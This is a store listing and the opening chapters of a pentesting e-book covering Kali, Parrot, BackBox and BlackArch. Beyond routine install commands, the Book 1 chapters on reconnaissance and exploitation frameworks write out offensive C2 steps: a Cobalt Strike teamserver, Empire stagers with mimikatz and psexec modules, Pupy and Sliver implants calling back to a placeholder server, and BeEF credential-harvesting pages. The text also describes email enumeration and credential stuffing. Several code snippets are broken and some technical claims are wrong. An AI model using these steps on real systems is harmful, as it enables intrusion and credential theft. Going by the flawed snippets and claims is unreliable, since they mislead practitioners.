4,49 €
🚀
Unleash Your Inner Hacker with “Cracking: Red Team Hacking”! 🖥️🔐
Are you ready to dive deep into the world of offensive security?
Cracking: Red Team Hacking is your ultimate guide to mastering the four powerhouse pentesting distributions:
🐉 Kali Linux – The industry standard for penetration testing, loaded with Metasploit, Nmap, Burp Suite, and hundreds more tools. Learn how to configure, customize, and conquer every engagement.
🦅 Parrot OS – A nimble, privacy-first alternative that balances performance with stealth. Discover built-in sandboxing, AnonSurf integration, and lightweight workflows for covert ops.
🛡️ BackBox – Ubuntu-based stability meets pentest prowess. Seamlessly install meta-packages for web, wireless, and reverse-engineering testing, all wrapped in a polished XFCE desktop.
⚔
️ BlackArch – Arch Linux’s rolling-release power with 2,500+ specialized tools at your fingertips. From RFID to malware analysis, build bespoke toolchains and automate complex workflows.
Why You Need This Book 📘
Das E-Book können Sie in Legimi-Apps oder einer beliebigen App lesen, die das folgende Format unterstützen:
Veröffentlichungsjahr: 2025
CRACKING
RED TEAM HACKING
KALI LINUX, PARROT OS, BACKBOX & BLACKARCH
4 BOOKS IN 1
BOOK 1:
MASTERING KALI LINUX: ADVANCED PENETRATION TESTING TECHNIQUES
BOOK 2:
PARROT OS PRIVACY & COVERT OPERATIONS: A RED TEAM’S GUIDE
BOOK 3:
BACKBOX ESSENTIALS: UBUNTU-BASED SECURITY TESTING DEEP DIVE
BOOK 4:
BLACKARCH UNLEASHED: THOUSAND-TOOL ARSENAL FOR RED TEAM OPERATOR
ROB BOTWRIGHT
Copyright © 2025 by Rob Botwright
All rights reserved. No part of this book may be reproduced or transmitted in any form or by any means, electronic or mechanical, including photocopying, recording, or by any information storage and retrieval system, without permission in writing from the publisher.
Published by Rob Botwright
Library of Congress Cataloging-in-Publication Data
ISBN 978-1-83938-939-9
Cover design by Rizzo
Disclaimer
The contents of this book are based on extensive research and the best available historical sources. However, the author and publisher make no claims, promises, or guarantees about the accuracy, completeness, or adequacy of the information contained herein. The information in this book is provided on an "as is" basis, and the author and publisher disclaim any and all liability for any errors, omissions, or inaccuracies in the information or for any actions taken in reliance on such information.
The opinions and views expressed in this book are those of the author and do not necessarily reflect the official policy or position of any organization or individual mentioned in this book. Any reference to specific people, places, or events is intended only to provide historical context and is not intended to defame or malign any group, individual, or entity.
The information in this book is intended for educational and entertainment purposes only. It is not intended to be a substitute for professional advice or judgment. Readers are encouraged to conduct their own research and to seek professional advice where appropriate.
Every effort has been made to obtain necessary permissions and acknowledgments for all images and other copyrighted material used in this book. Any errors or omissions in this regard are unintentional, and the author and publisher will correct them in future editions.
BOOK 1 - KALI LINUX – THE GO-TO OS FOR PENETRATION TESTING
Introduction
Chapter 1: Deep Dive into Kali’s Architecture and Toolchain
Chapter 2: Advanced Reconnaissance with Custom Scripts
Chapter 3: Exploitation Frameworks Beyond Metasploit
Chapter 4: Kernel and Driver Exploitation Techniques
Chapter 5: Wireless Attacks and Protocol Fuzzing
Chapter 6: Post-Exploitation Automation and Pivoting
Chapter 7: Stealth and Anti-Forensics in Kali
Chapter 8: Containerized Pentesting with Docker and Kubernetes
Chapter 9: Cloud and Virtualization Attack Strategies
Chapter 10: Building Custom Kali-Based Red Team Toolsets
BOOK 2 - PARROT OS – LIGHTWEIGHT AND PRIVACY-FOCUSED ALTERNATIVE
Chapter 1: Parrot OS Fundamentals and Secure Setup
Chapter 2: Anonymity Networks and Tor Integration
Chapter 3: OpSec Best Practices for Red Teamers
Chapter 4: Covert Reconnaissance with Parrot Tools
Chapter 5: Malware Development and Analysis Environments
Chapter 6: Steganography and Data Exfiltration Techniques
Chapter 7: Wireless Surveillance and Bluetooth Exploits
Chapter 8: Advanced Cryptography and Secure Communications
Chapter 9: Parrot OS in Containerized and Cloud Scenarios
Chapter 10: Customizing Parrot for Covert Campaigns
BOOK 3 - BACKBOX – UBUNTU-BASED DISTRO FOR SECURITY TESTING
Chapter 1: Getting Started with BackBox – Installation & Configuration
Chapter 2: Core BackBox Toolset Overview
Chapter 3: Network Scanning and Vulnerability Assessment
Chapter 4: Web Application Testing with BackBox
Chapter 5: Exploit Development and Custom Scripts
Chapter 6: Wireless Network Auditing and Attacks
Chapter 7: Privilege Escalation and Post-Exploitation
Chapter 8: Automated Reporting and Results Analysis
Chapter 9: Container and VM Pentesting Workflows
Chapter 10: Creating Custom BackBox Appliances and ISO Builds
BOOK 4 - BLACKARCH – ARCH-BASED OS WITH THOUSANDS OF HACKING TOOLS PRE-INSTALLED
Chapter 1: Exploring the BlackArch Ecosystem and Repository
Chapter 2: Selecting the Right Tools: Strategy Over Volume
Chapter 3: Automated Reconnaissance with BlackArch Scripts
Chapter 4: Exploitation Mastery: Beyond the Usual Suspects
Chapter 5: Post-Exploitation Frameworks and Persistence
Chapter 6: Wireless, Bluetooth, and RF Hacking Utilities
Chapter 7: OSINT and Social Engineering Toolkits
Chapter 8: Reverse Engineering, Fuzzing, and Malware Analysis
Chapter 9: Attacking Cloud and Container Environments
Chapter 10: Building Custom BlackArch Toolchains and Automation
Conclusion
In an age where digital fortresses protect everything from personal correspondence to critical infrastructure, red team hacking has become the crucible in which both offensive skillsets and defensive postures are tested and refined, and this book—Cracking: Red Team Hacking—guides you through four of the most influential penetration-testing distributions in use today. Kali Linux sets the stage with its comprehensive, battle-hardened suite of tools and a vast community that ensures rapid updates and support, making it the de facto standard for security professionals seeking proven exploits, reconnaissance utilities, and post-exploitation frameworks. Parrot OS arrives next as a lighter-weight, privacy-focused alternative, offering the same powerful toolsets alongside integrated sandboxing and anonymity features that let you conduct stealthy operations without sacrificing performance. BackBox follows with its Ubuntu-based stability and polished desktop environment, streamlining the deployment of essential security testing tools and making it an ideal choice for those who value ease of use and reliability in live environments or virtual machines. Finally, BlackArch pushes the boundaries of choice and customization, delivering an Arch-based platform with over two thousand pre-packaged utilities that cater to specialists in wireless attacks, reverse engineering, and niche exploit development, all maintained under a rolling-release model that keeps your toolkit at the cutting edge. Throughout these chapters, you will learn not only how to install and configure each distribution, but also how to craft tailored workflows, automate complex tasks, and select the right tool for every phase of an engagement, empowering you to operate with precision, adaptability, and the confidence required to stay one step ahead in the ever-evolving landscape of cybersecurity.
BOOK 1:
MASTERING KALI LINUX
ADVANCED PENETRATION TESTING TECHNIQUES
ROB BOTWRIGHT
Kali Linux is built upon a Debian testing branch foundation, providing a stable yet up-to-date baseline for security tools, and its architecture begins with a monolithic Linux kernel that has been patched to support a wide array of hardware, network adapters, and virtualization environments. At the heart of Kali’s system is the Advanced Package Tool (APT), which manages software installation, updates, and dependency resolution; using commands like
sudo apt update
sudo apt install kali-linux-large
administrators can fetch meta-packages that bundle hundreds of specialized tools into one cohesive installation. The packaging ecosystem in Kali relies on .deb archives, and maintainers frequently rebuild Debian packages with custom patches to enable features such as wireless injection support, so one often encounters kernel modules like aircrack-ng or rtl8187 that owe their existence to this curated toolchain.
While the filesystem hierarchy in Kali adheres to the Filesystem Hierarchy Standard, there are dedicated directories such as /usr/share/wordlists/ for pentesting dictionaries and /etc/kali/ for distribution-specific configuration files. For example, customizing the default wordlist path for hydra might involve editing /etc/hydra/hydra.conf and pointing it to /usr/share/wordlists/rockyou.txt. Kernel modules are managed through /etc/modules-load.d/ and /etc/modprobe.d/, ensuring that wireless drivers and tun/tap interfaces necessary for tunneling are available at boot. The init system is provided by systemd, where units for services like postgresql.service and mysql.service kick in automatically if the user installs database-backed tools like metasploit-framework.
Building tools from source is a common practice in the Kali community, and the distribution provides a ready environment with compilers and language interpreters. A typical workflow might start with cloning a Git repository:
git clone https://github.com/someauthor/someexploit.git
cd someexploit
make
sudo make install
and the use of gcc, g++, or even rustc for newer projects is seamless because development meta-packages such as build-essential and rustc are preinstalled or easily fetched via APT. Python remains the lingua franca of many security tools, and the inclusion of both Python 2 and Python 3 interpreters, along with virtual environment support (python3-venv), means that scripts like sqlmap.py or wpscan.rb (for Ruby) can be executed without version conflicts.
The Kali repositories themselves are segmented into kali-rolling, kali-last-snapshot, and experimental branches, allowing users to choose between the latest tool updates and more thoroughly tested versions. The sources.list file located in /etc/apt/ can be edited to include entries such as
deb http://http.kali.org/kali kali-rolling main non-free contrib
after which sudo apt update && sudo apt dist-upgrade ensures the entire system and toolchain remain synchronized. For users who want to maintain older environments, snapshot archives provide a point-in-time capture of the rolling release, making it possible to reproduce tests against the same tool versions used months earlier.
Kali’s toolchain also integrates with containerization platforms: Docker images are officially maintained, and leveraging an image such as docker pull kalilinux/kali-rolling allows pentesters to spin up isolated environments. Inside a container, the default non-root user kali can employ sudo without a password prompt for convenience, though security-minded operators often adjust /etc/sudoers.d/kali to require a password. Similarly, Kali supports deployment on Kubernetes clusters, where each pod can run specialized tools like nmap in parallel, orchestrated via YAML manifests:
apiVersion: v1
kind: Pod
metadata:
name: nmap-scanner
spec:
containers:
- name: nmap
image: kalilinux/kali-rolling
command: ["nmap", "-sV", "10.0.0.0/24"]
One of the most powerful aspects of Kali’s architecture is the integration of virtualization guests and hypervisors; the distribution ships OVA images for VMware and VirtualBox, complete with guest additions that facilitate clipboard sharing, folder mapping, and seamless screen resolution adjustment. For manual installation, setup involves mounting the ISO, choosing either UEFI or BIOS boot modes, and partitioning through anaconda installer or the Debian installer interface. Post-installation, security-focused sysadmins often enforce full disk encryption by enabling LUKS during the setup, which prompts for a passphrase at boot to unlock /dev/mapper/kali-root.
The toolchain extends beyond low-level utilities into graphical user interfaces like GNOME with the Kali-specific dark theme, where one finds menu entries organized by categories such as Information Gathering, Vulnerability Analysis, Wireless Attacks, Exploitation Tools, and Forensics. Each category is a collection of .desktop files that point to executables; to hide or show specific tools in the menu, one can edit the NoDisplay=true entries in /usr/share/applications/<tool>.desktop. The default shell is Bash, but users are free to switch to Zsh or Fish; installing apt install zsh and then running chsh -s $(which zsh) allows for more advanced shell scripting features, such as command autosuggestions and themeable prompts via Oh My Zsh.
Networking layers are carefully constructed: network-manager manages interfaces by default, but pentesters often disable it using
sudo systemctl stop NetworkManager
sudo systemctl disable NetworkManager
to avoid interference with tools like airmon-ng, which need to put wireless cards into monitor mode (sudo airmon-ng start wlan0). IPv6 can be disabled by echoing into /proc/sys/net/ipv6/conf/all/disable_ipv6 or adding net.ipv6.conf.all.disable_ipv6=1 to /etc/sysctl.conf, ensuring scans focus on IPv4 unless IPv6 testing is specifically required.
Finally, Kali’s rolling updates are supplemented by the community-driven Kali NetHunter project, which packages the OS for mobile devices and integrates with Android’s bootloader. Installing NetHunter involves flashing a custom kernel and chroot environment, and accessing tools via a terminal emulator or a NetHunter app menu. The chroot is mounted over /data/nhsystem on Android, and updates can be applied via scripts such as
./bootstrap.sh
./kali-installer.sh
making the entire Kali architecture portable from server to desktop to handheld device without sacrificing the cohesion of its toolchain.
Advanced reconnaissance begins with the systematic enumeration of targets, starting from simple DNS queries and moving into bespoke scripts that merge multiple data sources into coherent intelligence, and it is in this phase that a security professional crafts Python or Bash scripts to automate the retrieval of subdomains, certificates, and historical DNS records; for instance, one might write a Bash loop:
for domain in $(cat targets.txt); do dig +short $domain @8.8.8.8 >> dns_results.txt; done
to quickly assemble DNS resolutions for dozens of domains and then feed those results into a Python parser that correlates IP ranges, autonomous system numbers (ASNs), and geolocation information, thereby producing a richer contextual map of the target’s network footprint. Simultaneously, reconnaissance engineers often leverage APIs—such as the Shodan API—to query for internet-facing services, writing simple scripts in Node.js or Python to automate the process:
from shodan import Shodan
print(result["matches"])
and by integrating this with asynchronous I/O frameworks like asyncio, one can query multiple targets in parallel, drastically reducing the time needed to gather service banners, open ports, and SSL certificate details. Custom scripts can also chain together tools like masscan for high-speed port scans, feeding the output directly to nmap for service fingerprinting via a one-liner:
masscan -p1-65535 --rate 10000 $TARGET -oL masscan.out && nmap -iL masscan.out --open -sV -oN nmap.out
and by capturing these results in JSON with nmap -oX, a Python script using xml.etree.ElementTree can transform the XML into structured data entries for each host.
Beyond network enumeration, tailored reconnaissance scripts often turn to web scraping frameworks like Scrapy or BeautifulSoup to harvest employee names, email address patterns, and organizational charts from company websites and LinkedIn, automating form submissions and handling JavaScript-heavy pages by incorporating headless browsers such as Puppeteer or Playwright; one might start a Playwright script with:
npx playwright run-repl
and then write JavaScript functions that extract DOM elements matching selectors like article.team-member or div.profile-contact, looping through pages of results to build a corporate directory database. These scripts can be enhanced with rate-limiting and proxy rotation—leveraging services such as Tor or residential proxy farms—to avoid triggering WAF blocks or IP-based rate limits, and developers frequently implement exponential backoff and error handling routines that catch HTTP 429 or 503 responses, retrying requests after configurable delays.
Recon operators also employ custom tools to mine OSINT data from social media platforms, using APIs where available or reverse-engineering GraphQL endpoints for platforms like Facebook or Instagram, generating GraphQL queries in Python with libraries such as requests and gql, and pivoting from public posts to private groups or event listings that reveal insider movements or upcoming corporate gatherings; an example script might include:
from gql import Client, gql
print(result)
and processing the returned JSON allows an analyst to flag events happening at data centers or executive retreats. Once harvested, these datasets are loaded into a SQLite database via custom import scripts, where analysts can perform SQL queries to filter by date, location, or user engagement metrics, enabling the creation of time-based patterns of movement or identifying peak traffic times for physical penetration planning.
Email harvesting scripts can integrate the Hunter.io API or scrape contact pages for HTML mailto: links, parsing out address formats and constructing permutation engines in Python to generate probable combinations of first name, last name, and domain names, which can be tested en masse against SMTP servers using tools like smtp-user-enum or in-house scripts that implement the SMTP handshake up to the RCPT TO stage:
python smtp_enum.py --domain example.com --users userlist.txt
thereby confirming which email addresses are valid without sending actual messages. These valid addresses then feed into phishing simulation scripts or credentials-stuffing tools, blending reconnaissance and initial access phases seamlessly.
Advanced reconnaissance also embraces passive DNS and certificate transparency logs sourced from services such as Censys, utilizing custom Go programs that leverage gRPC APIs to efficiently stream new certificate entries, filtering for those that match the target’s domain suffix, and then extracting SAN (Subject Alternative Name) fields to uncover wildcard domains or development subdomains that may not appear in DNS zone transfers. The Go ecosystem’s concurrency model allows these scripts to achieve high throughput by spawning multiple goroutines for each gRPC stream, aggregating findings in Redis for real-time dashboard display.
In environments where internal reconnaissance is possible, custom PowerShell scripts deliver equally powerful capabilities, querying Active Directory for dormant accounts, group memberships, and ACLs by invoking Get-ADUser and Get-ADObject cmdlets, and exporting results to CSV for later analysis; behind a corporate firewall, these scripts can be deployed via Group Policy or through scheduled tasks to generate daily snapshots of privilege changes. A snippet might read:
Get-ADUser -Filter * -Properties MemberOf | Export-Csv ad_memberships.csv
and additional logic can compare snapshots over time to detect the addition of privileged groups or the creation of service accounts.
In summary, the essence of advanced reconnaissance with custom scripts lies in the fusion of open-source intelligence, automated data collection, robust error handling, and parallel execution, with careful attention to anti-detection techniques such as proxy rotation and randomized request patterns, all wrapped in modular frameworks that allow operators to swap out data sources, integrate new APIs, and extend functionality as targets evolve their defenses, ensuring that the red team remains steps ahead in the intelligence game.
Exploitation frameworks outside of Metasploit have evolved into specialized platforms that emphasize modularity, stealth, and advanced payload delivery techniques, and one of the most prominent examples is Cobalt Strike, which provides red teams with a full spectrum of capabilities from spear-phishing to post-exploitation lateral movement; after installing the beacon server on a Linux jump box with
wget https://updates.cobaltstrike.com/releases/4.5.1/cobaltstrike-trial.tgz
tar zxvf cobaltstrike-trial.tgz
cd cobaltstrike
./teamserver your.domain.com YourPassword123
operators connect with the Cobalt Strike client to orchestrate beacons, configure payload obfuscation, and integrate with DNS and HTTPS covert channels. Unlike Metasploit’s monolithic approach, Cobalt Strike’s architecture separates the team server from client interfaces, allowing different operators to assume roles such as payload developer, listener manager, or post-exploitation coordinator, and its Aggressor Script language lets users script new commands, automate responses to detection events, and create custom C2 workflows.
Another powerful open source alternative is PowerShell Empire, which leverages the ubiquity of PowerShell in Windows environments; installation is as simple as cloning the repository and launching the server:
git clone https://github.com/EmpireProject/Empire.git
cd Empire
./setup/install.sh
./empire
once running, the Empire console issues modules like usemodule credentials/mimikatz or usemodule lateral/psexec, and operators can generate stagers for stealthy in-memory execution:
usestager launcher_bat
set Listener http
execute
Empire’s modular DLL and PowerShell in-memory execution model makes it difficult for endpoint detection and response (EDR) solutions to detect malicious behavior, especially when combined with token manipulation and WMI event subscription for persistence.
For teams requiring licensed solutions, Core Impact offers a graphical exploitation environment that integrates with vulnerability scanners such as Nessus or Qualys to import target lists, prioritize vulnerabilities based on CVSS scores, and automatically launch exploits against Windows, Linux, and network appliances; its Truster interface allows pivoting through compromised hosts with built-in SSH and Windows session management. Unlike Metasploit, which often requires manual configuration of payloads, Core Impact generates shellcode, meterpreter-like sessions, and even Java-based payloads for cross-platform exploitation, and can deploy zero-click Office document exploits by simply dragging the target asset into a campaign window.
CANVAS from Immunity is another commercial alternative that focuses on custom exploit development and fuzzing, offering a unique GUI interface for assembling exploit chains, precise heap spraying controls, and a framework for integrating proprietary proof-of-concept code; its command-line interface, ./canvas, can be invoked with parameters such as
./canvas --target-ip 10.0.0.5 --exploit ms08_067_netapi
and the API allows Python scripts to drive complex attacks, combining memory corruption triggers with advanced obfuscation techniques. CANVAS’s assertion-based testing makes it a favorite among penetration testers who need to demonstrate realistic, repeatable exploit scenarios to clients.
For smaller, script-oriented teams, frameworks like Pupy and Sliver provide cross-platform, lightweight C2 infrastructures. Pupy, written in Python and supporting Windows, Linux, and macOS, can be installed via pip3 install pupy and configured through its interactive shell:
pupygen -f exe --transport http
creating stagers that fetch encrypted executables from a remote server and execute them purely in memory, while Sliver, developed by Bishop Fox, offers a Go-based C2 where operators generate implants with
sliver generate --host your.server.com --variant stageless
and manage implants through a WebSocket-based console. Both frameworks emphasize in-memory execution, reflectively loading modules, and support customizable encryption keys to evade signature-based detection.
In the realm of browser exploitation, frameworks such as BeEF (Browser Exploitation Framework) specialize in client-side attacks, chaining XSS vulnerabilities to gain persistent browser hooks; after installing with
git clone https://github.com/beefproject/beef.git
cd beef
./install
./beef
pentesters use the dashboard to hook browsers, launch modules like social_engineering/clone to present credential harvesting pages, and pivot to internal networks by triggering requests through the victim’s shoulder. BeEF’s modular design and JavaScript-based payloads allow for rapid creation of custom browser exploits.
On the offensive Windows side, frameworks like SharpSploit and Seatbelt offer scriptable libraries for offensive operations; developers include SharpSploit in C# projects to invoke in-memory process injection and token impersonation without touching disk, compiling with
csc /target:library /out:SharpSploit.dll SharpSploit.cs
and then loading the assembly via a .NET shell like dnx or PowerShell’s Add-Type. Seatbelt, by Secureworks, provides a single executable to enumerate domain trusts, local administrators, and UAC settings, and its source can be adapted into custom reconnaissance and exploitation pipelines.
Cloud environments have sparked new frameworks such as Cloudsploit and Prowler, which perform automated checks for misconfigurations but can also generate AWS STS tokens and chain roles to escalate privileges; operators often script Terraform state file analysis and use AWS CLI commands such as
aws sts assume-role --role-arn arn:aws:iam::123456789012:role/BackupRole --role-session-name Recon
to pivot between accounts, then invoke Lambda functions with embedded reverse shells, or deploy malicious CloudFormation stacks that call back to a payload server.
Mobile penetration testers turn to frameworks like Frida and Objection, which hook into live applications on Android and iOS; installing Frida server on a rooted device via
adb push frida-server /data/local/tmp/
adb shell "chmod 755 /data/local/tmp/frida-server; /data/local/tmp/frida-server &"
and attaching with frida -U -f com.example.app -l hook.js, security professionals instrument application functions to bypass authentication checks or extract in-memory secrets. Objection builds on Frida, offering one-line commands to patch SSL pinning or dump keychains:
objection --gadget com.example.app explore
